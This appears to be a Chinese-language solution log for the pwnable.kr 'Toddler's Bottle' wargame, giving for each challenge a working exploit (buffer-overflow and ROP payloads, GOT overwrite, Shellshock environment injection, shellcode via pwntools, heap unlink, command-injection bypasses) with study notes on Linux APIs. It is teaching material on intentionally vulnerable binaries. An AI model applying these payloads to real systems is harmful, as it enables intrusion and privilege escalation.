[Toddler's Bottle]做题记录
fd
Pwn:
Reason:
- 当fd为0的时候代表标准输入,也就是控制台,然后就可以实现buf=="LETMEWIN\n" , 编辑了一下fd.c-->命名为1.c用来测试,gcc编译指令“gcc 1.c -o 1”
#include <stdio.h> #include <stdlib.h> #include <string.h> char buf[32]; int main(int argc, char* argv[], char* envp[]){ if(argc<2) { printf("pass argv[1] a number\n"); return 0; } printf("%s %s\n",argv[0],argv[1]); int fd = atoi( argv[1] ) - 0x1234; printf("fd:%d\n",fd); int len = 0; len = read(fd, buf, 32); if(!strcmp("LETMEWIN\n", buf)){ printf("good job :)\n"); system("/bin/cat flag"); exit(0); } printf("learn about Linux file IO\n"); return 0; }
本来是想直接传0x1234但是atoi后为0,看来atoi函数不支持十六进制
collision[逻辑]
Pwn:
col@pwnable:~$ ./col `python -c "print '\xe8\x05\xd9\x1d'+'\x01\x01\x01\x01'*4"`
Reason:
- hashcode = A + B + B + B + B
- 用p32可以快速得到小端
bof[覆盖]
Pwn:
import pwn # print(os.system('ls')) col = pwn.process('./bof') # col= pwn.remote('pwnable.kr', 9000) payload = 'a'*0x2c+'a'*0x8+pwn.p32(0xcafebabe) print(payload) col.sendline(payload) col.interactive()
Reason:
flag[upx]
Pwn:
upx是一种加密方式,解密:upx -d flag
Reason:
passcode[GOt覆写]
Pwn:
python -c "print 'a'*96+'\x00\xa0\x04\x08'+'134514147\n'" |./passcode
Reason:
- 调用 ‘printf("enter passcode2 : ");’ 时候直接执行 ‘system("/bin/cat flag");’ 就可以得到flag
- 由于两个函数是由 main 函数同步调用的,而且参数个数一样多(都是 0 个),所以在数值上两个函数的 %ebp 是相等的。
- readelf的使用教程
-
PLT(Procedure Linkage Table):过程链接表的作用是将位置无关的符号转移到绝对地址。当一个外部符号被调用时,PLT 去引用 GOT 中的其符号对应的绝对地址,然后转入并执行。
random[rand()性质]
Pwn:
3039230856
Reason:
- 随机数生成函数rand(),需要搭配动态变化种子seed,否则生成的是伪随机数。
- 异或运算: A^B^B=A;
input[代码水平]
Pwn:
- https://r00tk1ts.github.io/2018/03/06/input/,下面是对师傅写的exp的解析
- 交上去的时候发现了一个python版本exp,感觉比C跟加简洁,copy下来学习学习
import os import subprocess import socket import time args = list("A"*99) args[ord('A')-1] = "" args[ord('B')-1] = "\x20\x0a\x0d" args = ["./test"]+args print(args) # stage 1 clear stdinr, stdinw = os.pipe() stderrr, stderrw = os.pipe() os.write(stdinw, "\x00\x0a\x00\xff") os.write(stderrw, "\x00\x0a\x02\xff") # stage 2 clear environ = {"\xde\xad\xbe\xef": "\xca\xfe\xba\xbe"} # stage 3 clear f = open("\x0a", "wb") f.write("\x00"*4) f.close() # stage 4 clear args[ord('C')-1] = "8888" s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) target = subprocess.Popen(args, stdin=stdinr, stderr=stderrr, env=environ) time.sleep(2) s.connect(("127.0.0.1", 8888)) s.send("\xde\xad\xbe\xef") s.close()
Reason:
- step3:
- char *getenv(const char *name) 搜索 name 所指向的环境字符串,并返回相关的值给字符串。
- step4:
- size_t fread(void *ptr, size_t size, size_t nmemb, FILE *stream) 从给定流 stream 读取数据到 ptr 所指向的数组中。成功读取的元素总数会以 size_t 对象返回。
- ptr -- 这是指向带有最小尺寸 size*nmemb 字节的内存块的指针。
- size -- 这是要读取的每个元素的大小,以字节为单位。
- nmemb -- 这是元素的个数,每个元素的大小为 size 字节。
- stream -- 这是指向 FILE 对象的指针,该 FILE 对象指定了一个输入流。
- int memcmp(const void *str1, const void *str2, size_t n)) 把存储区 str1 和存储区 str2 的前 n 个字节进行比较。
- 如果返回值 < 0,则表示 str1 小于 str2。
- 如果返回值 > 0,则表示 str2 小于 str1。
- 如果返回值 = 0,则表示 str1 等于 str2。
- size_t fread(void *ptr, size_t size, size_t nmemb, FILE *stream) 从给定流 stream 读取数据到 ptr 所指向的数组中。成功读取的元素总数会以 size_t 对象返回。
- step5:
- struct sockaddr_in: 一个用来指定IP地址和端口号的结构体, 该结构体所有成员的字序为网络字序,低字节在前,高字节在后
- family // 即address family,如AF_INET
- port // 端口号(注意要按位倒序,使用htons函数)
- sin_addr.S_un.S_addr // 一个为long类型的ip地址
- int socket(int domain,int type,int protocol); 建立一个socket用于连接,当套接字创建成功时,返回套接字,失败返回“-1”
- domain:套接子要使用的协议簇,协议簇的在“linux/socket.h”里有详细定义,AF_INET(TCP/IP – IPv4)
- type:连接类型,SOCK_STREAM(TCP)
- protocol:协议类型,当确定套接字使用的协议簇和类型时,这个参数的值就为0
- htons()是将整数在地址空间存储方式变为高位字节存放在内存的低地址处
- INADDR_ANY:0.0.0.0
- int bind(int socket, const struct sockaddr *address, socklen_t address_len);将address指向的sockaddr结构体中描述的一些属性(IP地址、端口号、地址簇)与socket套接字绑定。
- int accept(int sockfd,struct sockaddr *addr,socklen_t *addrlen);接收一个套接字中已建立的连接。成功时,返回非负整数,该整数是接收到套接字的描述符;出错时,返回-1,相应地设定全局变量errno。
- sockfd:利用系统调用socket()建立的套接字描述符
- addr:指向struct sockaddr的指针,该结构用通讯层服务器对等套接字的地址
- addrlen:一个值结果参数,调用函数必须初始化为包含addr所指向结构大小的数值
- int recv( SOCKET s,char* buf,int len,int flags);
- len:指明buf长
- flags:一般置0
- struct sockaddr_in: 一个用来指定IP地址和端口号的结构体, 该结构体所有成员的字序为网络字序,低字节在前,高字节在后
leg[asm]
Pwn:
- key = 108400
Reason:
- key1 = 0x00008cdc+8 ,key2 = 0x00008d04+4+4 ,key3 = 0x00008d80
- https://blog.csdn.net/lee_ham/article/details/7839855
mistake[逻辑]
Pwn:
- 0000000000 ^ 1111111111 = 1111111111
Reason:
- < 优先级大于 =
- int strncmp(const char *str1, const char *str2, size_t n), 相等返回0,str1<str2 返回<0 ,str1>str2 返回>0
-
str1 :要进行比较的第一个字符串。
-
str2 :要进行比较的第二个字符串。
-
n :要比较的最大字符数
-
-
int open(const char *pathname, int oflag, ... /* mode_t mode */);
-
- oflag参数:
- O_RDONLY:只读打开
- O_WRONLY:只写打开
- O_RDWR:读写打开
- oflag参数:
-
-
mode:
-
如果文件被新建,指定其权限未mode
-
-
- https://blog.csdn.net/qq_20307987/article/details/51314187
shellshock[破壳漏洞]
Pwn:
- env x='() { :;}; bash -c "cat flag" ' ./shellshock
Reason:
- 要想读flag首先要得到root/shell_pwn的权限 ,shellshock有s权限+破壳漏洞
- 内核主要是根据euid和egid来确定进程对资源的访问权限
mistake[二分查找]
Pwn:
# coding=utf-8 from pwn import * def Search(l,r): m = (l + r) / 2 payload = ' '.join([str(i) for i in range(l,m+1)]) cin.sendline(payload) cout=cin.recvline() if 'Correct!' not in cout: if int(cout) == 10 *(m-l+1): Search(m+1,r) else: Search(l,m) else: print '猜对了',payload return def guess(i): data = cin.recvline() print '>>%d :%s ' % (i,data) start = re.search("N=(\d*) C=(\d*)", data) N = int(start.group(1)) C = int(start.group(2)) if pow(2,C)<N: exit() Search(0,N) if __name__ == '__main__': cin = remote('0.0.0.0', 9007) # cin = remote('pwnable.kr', 9007) print cin.recv() sleep(4) for i in range(101): if i==100: context.log_level='debug' guess(i)
Reason:
- 最后要加一个contet.leve_log='debug':脚本在执行时就会输出debug的信息,你可以通过观察这些信息查找哪步出错了
blackjack[逻辑]
Pwn:
- 第一次输入大于500,第二次输入100万,第三回赢一局
Reason:
lotto
Pwn:
- 输入的六个字符的asill在1-45
from pwn import * # context.log_level='debug' s= ssh(host='pwnable.kr',user='lotto',password='guest',port=2222) pro = s.process('/home/lotto/lotto') i=0 pro.sendline('1') print(pro.recv().decode('utf-8')) while 1: i+=1 str1 = b"######" pro.sendline(str1) pro.recvuntil('Lotto Start!\n') revcstr = pro.recvline() print(">>Time",i,revcstr.decode('utf-8')) if 'bad luck...' not in revcstr.decode('utf-8'): print(revcstr.decode('utf-8')) break print(pro.recvuntil('3. Exit\n').decode('utf-8')) pro.sendline('1')
Reason:
cmd1[绕过]
Pwn:
- ./cmd1 '/bin/cat fl*'
Reason:
- 绕过
cmd2[$()]
Pwn:
- cmd2@pwnable:/$ home/cmd2/cmd2 '"tmp$(pwd)lao$(pwd)q"'
cmd2@pwnable:/$ cat /tmp/lao/q /bin/cat /home/cmd2/flag cmd2@pwnable:/$
Reason:
- 在bash中,
$( )的功能与
` `
(反引号)一样
uaf[cpp-vtable]
Pwn:
uaf@pwnable:~$ python -c "print '\x48\x15\x40\x00\x00\x00\x00\x00'">/tmp/eo uaf@pwnable:~$ ./uaf 24 /tmp/eo 1. use 2. after 3. free 3 1. use 2. after 3. free 2 your data is allocated 1. use 2. after 3. free 1 Segmentation fault (core dumped) uaf@pwnable:~$ ./uaf 24 /tmp/eo 1. use 2. after 3. free 3 1. use 2. after 3. free 2 your data is allocated 1. use 2. after 3. free 2 your data is allocated 1. use 2. after 3. free 1 $ cat flag yay_f1ag_aft3r_pwning
Reason:
- 在看了R_1v3r师傅的博客后自己尝试着用woman来getshell,第一次执行2,成功从woman拿到getshell函数,但是还是需要再一次分配给man,不然在执行1的时候man是空的,程序出错
- 由于是64位的程序,后面的exp需要写满4字节
blukat[文件权限]
Pwn:
blukat@pwnable:~$ ./blukat guess the password! cat: password: Permission denied congrats! here is your flag: Pl3as_DonT_Miss_youR_GrouP_Perm!!
Reason:
-
Linux文件权限:
-
左三位:表示文件所有者的权限。
-
中三位:表示文件所有组的权限。
-
右三位:表示其他人的权限。
-
- 这题也太狗了,还以为自己遇到了盲点,结果嗨~
blukat@pwnable:~$ id uid=1104(blukat) gid=1104(blukat) groups=1104(blukat),1105(blukat_pwn) -rw-r----- 1 root blukat_pwn 33 Jan 6 2017 password
memcpy[字节对齐]
Pwn:
- 这份wp师傅使用pwntools写的,贴一下学习学习:https://bbs.pediy.com/thread-253598.htm
Reason:
- movntps在进行cpy的时候要求16位字节对齐,16字节对齐的意思就是地址的末位必须为0
- malloc在分配内存时它实际上还会多分配4字节用于存储堆块 信息,所以如果分配a字节实际上分配的是a+4字节。另外32位系统上该函数分配的内存是以8字节对齐的
-
【learn】
asm[shellcode编写]
Pwn:
from pwn import * context(arch='amd64', os='linux') # 重要 lao1ao = ssh(host='pwnable.kr',password='guest',port=2222,user='asm') lao = lao1ao.connect_remote('0.0.0.0',9026) payload=shellcraft.open('this_is_pwnable.kr_flag_file_please_read_this_file.sorry_the_file_name_is_very_loooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo0000000000000000000000000ooooooooooooooooooooooo000000000000o0o0o0o0o0o0ong') payload+=shellcraft.read(3,'rsp',100) payload+=shellcraft.write(1,'rsp',100) lao.recvuntil("give me your x64 shellcode: ") lao.send(asm(payload)) print(lao.recvline().decode('utf-8'))
Reason:
- disasm()函数可以将十六进制转asm代码
-
import pwn print(pwn.disasm(b"\x48\x31\xc0\x48\x31\xdb\x48\x31\xc9\x48\x31\xd2\x48\x31\xf6\x48\x31\xff\x48\x31\xed\x4d\x31\xc0\x4d\x31\xc9\x4d\x31\xd2\x4d\x31\xdb\x4d\x31\xe4\x4d\x31\xed\x4d\x31\xf6\x4d\x31\xff"))
- 0x90==nop
- seccomp是linux内核中一个基础的沙箱工具,在linux3.5之后开始支持seccomp-bpf扩展。BPF(Berkeley Packet Filter)是一种用于Unix内核网络数据包的过滤机制。只需要编写简单的过滤规则,就可以对程序系统调用进行可配置的限制,子进程会继承父进程所有的限制,并且可以配合linux的No New Privileges Flag保证避免类似execve的系统调用授予父级没有的权限。
-
context
是pwntools用来设置环境的功能。在很多时候,由于二进制文件的情况不同,我们可能需要进行一些环境设置才能够正常运行exp,比如有一些需要进行汇编,但是32的汇编和64的汇编不同,如果不设置context会导致一些问题。 -
一般来说我们设置context只需要简单的一句话:
context(os='linux', arch='amd64', log_level='debug')
-
这句话的意思是:
-
1. os设置系统为linux系统,在完成ctf题目的时候,大多数pwn题目的系统都是linux
-
2. arch设置架构为amd64,可以简单的认为设置为64位的模式,对应的32位模式是’i386’
-
3. log_level设置日志输出的等级为debug,这句话在调试的时候一般会设置,这样pwntools会将完整的io过程都打印下来,使得调试更加方便,可以避免在完成CTF题目时出现一些和IO相关的错误。
horcruxes[ROP]
Pwn:
from pwn import * context.log_level='debug' context(arch='amd64', os='linux') # 重要 lao1ao = ssh(host='pwnable.kr',password='guest',port=2222,user='horcruxes') lao = lao1ao.connect_remote('0.0.0.0',9032) # 先执行ABCDEFG通过print得到他的值,然后后执行ropme执行else payload= b'A' * 0x78 + p32(0x809fe4b)+ p32(0x809fe6a) + p32(0x809fe89)+ p32(0x809fea8)+ p32(0x809fec7)+ p32(0x809fee6)+ p32(0x809ff05)+ p32(0x809fffc) lao.recvuntil("Select Menu:") lao.sendline("1") lao.recvuntil("? : ") lao.sendline(payload) sum=0 lao.recvuntil("Voldemort\n")# You'd better get more experience to kill Voldemort for i in range(7): lao.recvuntil("EXP +") sum+=int(lao.recvuntil(")")[:-1].decode('utf-8')) lao.recvuntil("\n") # 第二轮 lao.recvuntil("Select Menu:") lao.sendline("1") lao.recvuntil("? : ") lao.sendline(str(sum)) lao.recvall()
Reason:
- gets()接受输入,直到stdin收到0x0a或EOF,所以无法直接跳转到open()
- s=0x74还要加上栈帧(0x4)才能覆盖ret:stack和stack frame
unlink[heap overflow]
Pwn:
from pwn import * shell_addr = 0x080484eb context.log_level='debug' s = ssh(host='pwnable.kr',port=2222, user='unlink',password='guest') p = s.process("./unlink") p.recvuntil("here is stack address leak: ") stack_addr = int(p.recv(10),16) p.recvuntil("here is heap address leak: ") heap_addr = int(p.recv(9),16) payload = p32(shell_addr)# A->buf payload += b'a'*12# A->buf(4)+B->pre_size(4)+B->size(4) payload += p32(stack_addr + 12) # B->fd(4) payload += p32(heap_addr + 12 )# B->bk(4) p.send(payload) p.interactive()
Reason:
- 终于到最后一题了,苍天啊
- 堆中的chunk详解
- 推荐一个视频《Binary Exploitation - HEAP》155:05开始讲heap overflow,前面是一些基础的知识点,新手友好向(没错,对我友好向Orz)
- https://www.mrskye.cn/38/